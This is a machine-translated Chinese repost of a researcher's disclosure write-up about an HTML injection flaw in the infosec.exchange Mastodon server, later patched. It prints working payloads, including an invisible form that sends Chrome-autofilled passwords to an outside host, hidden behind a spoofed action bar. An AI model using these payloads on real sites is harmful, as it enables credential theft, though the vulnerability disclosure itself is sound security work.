从infosec Mastodon窃取密码-无需绕过CSP

admin 2023年1月17日14:14:44安全文章评论2 views3852字阅读12分50秒阅读模式

从infosec Mastodon窃取密码-无需绕过CSP

这个故事讲述了我如何利用HTML注入漏洞窃取Infosec Mastodon上的凭据,而无需绕过通信服务提供商。

我们推特上的每个人似乎都在跳槽到infosec.exchange Mastodon服务器,所以我决定看看这到底是怎么回事。在弄清楚为什么你的用户名中必须有大量的@符号之后,我开始看看它有多安全。如果你在Twitter上关注过我,你会知道我喜欢发布矢量图,测试我正在使用的应用程序的极限,今天也不例外。

首先,我开始测试是否支持HTML或Markdown。我做了几个“tweet”,看看你是否可以有代码块(那会有多酷?),但似乎没有什么工作。也就是说,直到@ret2床 我指出,您可以更改您的首选项以启用HTML!这是正确的人,一个社交网络,使您能够张贴HTML -什么可能出错?

我启用了这个方便的偏好设置,并重新进行了测试。Markdown看起来非常有限。我主要希望能有代码块,但它们没有实现。我转而测试HTML,并测试了一些基本的东西,如粗体标签,这些标签似乎可以在网络上工作,但不能在移动的上工作。当我测试时,@安全码 给了我一个链接到他们的HTML过滤器原始程式码 他给我看了一个非常有趣的向量,他们在解码实体。

这让我感觉这个平台的HTML过滤器并不是最好的。我研究了源代码,发现它支持几个不同的属性。看起来很有前途的是“title”属性,也许我可以在那里嵌入标签,然后跳出它?我做了一个私人的“tweet”,看看它是否工作:

输入:

<abbr title="<img src=1 onerror=alert(1)>">test</abbr>

输出量:

<abbr title="<img src=1 onerror=alert(1)>">test</abbr>

属性的内容被原样保留。这很棒。它给了我一个有效负载,如果我想出一种方法来打破属性的话可以使用!使用abbr标签我寻找单引号和双引号,这两个都是受支持的--虽然看起来单引号被转换成了双引号,但我也尝试了无引号的属性,但它们似乎被删除了。在许多不同的私人“tweets”之后,我找不到一种方法来打破这个属性。

我注意到有几个人有一个 图标,并在向非常有用的社区提出一些问题后,我发现如果您使用文本:verified:它将被替换为图标。

输入:

:verified:

输出量:

<img draggable="false" class="emojione custom-emoji" alt=":verified:" … >

图标是一个img标签,它有引号,也许我可以使用它?我把:verified: 位于title属性内的锚点文本节点内的字符串:

输入:

<abbr title="<a href='https://blah'>:verified:</a><iframe src=//garethheyes.co.uk/>">

输出量:

<abbr title="<a href='https://blah</a>'><img draggable=" false" ... ><iframe src=//garethheyes.co.uk/>

令我惊讶的是,它成功了!我用devtools检查了HTML--从这里我可以看到呈现的iframe和我的网站,在查看“tweet”时加载,这要归功于一个宽松的frame-src指令,它允许任何https:URL中找到。

过滤器被完全破坏了,因为我可以插入任意的HTML,但最后一件事阻碍了我:他们采用了相对严格的内容安全策略。几乎每个资源都被限制在infosec.exchange,除了允许任何HTTPS URL的iframe。

我尝试了文件上传和模糊化内容类型,看看现代浏览器允许将图像呈现为脚本 - 第二天早上,我花了一个上午的时间寻找绕过政策的方法,或者寻找一些小工具。

我没有时间绕过CSP了,@白化蜡 suggested I try to steal passwords using forms. Of course you could inject form elements, so I pointed a form at portswigger-labs.net and tested to see if the form submission worked. It did, so I can spoof the login form.

我的下一个测试是Chrome自动填充--Chrome会自动填充密码吗?当然会,而且不需要任何用户交互!现在我有了密码,我可以创建一个令人信服的按钮来点击,所以我给詹姆斯看了。他有一个非常邪恶的想法--谢天谢地,他实际上并不邪恶--如果你在"tweet"下面的工具栏上做了手脚呢?我很容易欺骗工具栏,但输入的用户名和密码是可见的,这使它不那么令人信服。

现在差不多了......我测试了Chrome,看看当输入不可见时,它是否仍然会自动填充凭据。如果你使用不透明度值零,Chrome仍然会方便地填充凭据。但是等等--由于CSP的原因,我不能使用内联样式。我查看了CSS文件,希望找到一个不透明度为0的类,几秒钟就找到了一个。我将该类应用于输入,它运行得很好:

<abbr title="<a href='https://blah'>:verified:</a></abbr><form action=//portswigger-labs.net/mastodon-demo><input name=username class=react-toggle-track-check><input type=password name=password class=react-toggle-track-check>
<div class='status__action-bar'><button type=submit aria-label='Reply' title='Reply' class='status__action-bar-button icon-button' tabindex='0'><i role='img' class='fa fa-reply fa-fw' aria-hidden='true'></i> </button><button type=submit aria-label='Boost' aria-pressed='false' title='Boost' class='status__action-bar-button icon-button' tabindex='0' ><i role='img' class='fa fa-retweet fa-fw' aria-hidden='true'></i> </button><button type=submit aria-label='Favourite' aria-pressed='false' title='Favourite' class='status__action-bar-button star-icon icon-button' tabindex='0'><i role='img' class='fa fa-star fa-fw' aria-hidden='true'></i></button><button type=submit aria-label='Bookmark' aria-pressed='false' title='Bookmark' class='status__action-bar-button bookmark-icon icon-button' tabindex='0'><i role='img' class='fa fa-bookmark fa-fw' aria-hidden='true'></i> </button><div class='status__action-bar-dropdown'><button type=submit aria-label='Menu' title='Menu' class='icon-button' tabindex='0'><i role='img' class='fa fa-ellipsis-h fa-fw' aria-hidden='true'></i> </button></div></div>">

通过收集凭据并重新发布每个用户的向量,此攻击很容易被蠕虫感染。

如果您想自己尝试类似的利用,请尝试我们的实验室从自动填充中窃取密码。

结语

我们向Mastodon报告了此漏洞,Mastodon最初认为该漏洞可能是特定于毛刺分叉 infosec.exchange使用的标题属性。但是,他们随后发布了Mastodon 4.0.1、3.5.5和3.4.10以缓解该问题。在与Glitch开发人员讨论此问题后,核心Mastodon不容易受到此特定攻击,因为它们不允许标题属性。它仍然被修补以修复占位符的替换,如:verified:。

这是一个很好的洞察如何现代浏览器缓解可以防止对现实世界的应用程序的一些攻击。然而,它也强调了这些缓解可以被回避,仍然导致凭据盗窃。形式-行动指令可以防止这类攻击,用户交互时填写密码也是一个好主意。不要忘记遵循@[email protected] 和@[email protected],并确保开启双因素认证。我们保证不会窃取您的密码。我们期待着看到Twitter和乳齿象之战如何结束。目前,我们将在两个平台上发帖。


原文始发于微信公众号(xiaozhu佩奇学安全):从infosec Mastodon窃取密码-无需绕过CSP

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月17日14:14:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  从infosec Mastodon窃取密码-无需绕过CSP http://cn-sec.com/archives/1430098.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: